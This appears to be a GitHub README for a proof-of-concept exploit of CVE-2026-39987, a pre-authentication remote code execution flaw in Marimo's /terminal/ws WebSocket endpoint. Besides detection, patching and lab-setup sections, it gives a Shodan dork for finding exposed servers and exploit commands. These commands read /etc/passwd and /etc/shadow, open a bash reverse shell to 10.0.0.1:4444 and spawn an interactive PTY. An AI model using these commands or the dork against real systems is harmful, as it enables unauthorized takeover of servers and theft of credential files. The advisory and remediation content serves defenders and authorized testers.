CVE-2026-39987 - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)

⚠️ LEGAL WARNING ⚠️

This script is ONLY for educational purposes and authorized testing. Unauthorized use of this tool against systems without explicit permission is ILLEGAL. The author is not responsible for the misuse of this information.

📋 Description

Marimo versions prior to 0.23.0 present a critical remote code execution (RCE) vulnerability without prior authentication. The /terminal/ws endpoint does not implement adequate access controls, allowing an unauthenticated attacker to obtain a full interactive shell on the system.

Detail	Information
CVE	CVE-2026-39987
Severity	CRITICAL
CVSS Score	9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
Type	Pre-Auth Remote Code Execution (RCE)
Vector	WebSocket (`/terminal/ws`)
Affected Product	Marimo < 0.23.0
Patch	Marimo ≥ 0.23.0

🎯 Impact

✅ Remote command execution WITHOUT authentication
✅ Full interactive PTY shell
✅ Complete system compromise
✅ Access to sensitive data
✅ Possible lateral movement on the network

🔍 Identification

Shodan Dork

http.favicon.hash:-1864630356

text

Fingerprint

Favicon hash: -1864630356
Version endpoint: /api/version

💀 Exploitation PoC

Requirements

pip install websockets requests
Basic Usage
bash
python CVE-2026-39987_PoC.py http://victim.com:8080 "id"
Examples
bash
# Get system information
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"

# Read sensitive files
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"

# Reverse shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

# Interactive shell
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ Detection (Safe)
Passive detection script
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei Template
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987

info:
  name: Marimo < 0.23.0 Pre-Auth RCE
  severity: critical
  # ... (full template included)
🔧 Remediation
Immediate
DISCONNECT the system from the network if it is exposed

Block access to the port where Marimo is running

Review logs for suspicious activity

Permanent
bash
# Update to patched version
pip install --upgrade marimo>=0.23.0

# Verify version
marimo --version

# Configure authentication if exposed publicly
# NEVER expose 'marimo edit' directly to the internet

Docker (Vulnerable environment)
bash
# Run vulnerable version for testing
docker run -p 8080:8080 marimo-team/marimo:0.22.0

# Verify vulnerability
python CVE-2026-39987_detector.py http://localhost:8080

# Exploit
python CVE-2026-39987_PoC.py http://localhost:8080 "id"

GitHub Security Advisory

NVD Entry

Pull Request #9098

Marimo Documentation

👥 Credits
Discovery: [Researcher name]

PoC Development: [Your name]

Patch: Marimo Team

📜 License
This project is for educational purposes only. Use of this software is at your own risk.

⭐ If this README was helpful to you, consider giving the repository a star.

⚠️ REMEMBER: WITH GREAT POWER COMES GREAT RESPONSIBILITY

marimo_CVE-2026-39987_RCE_PoC

Most Popular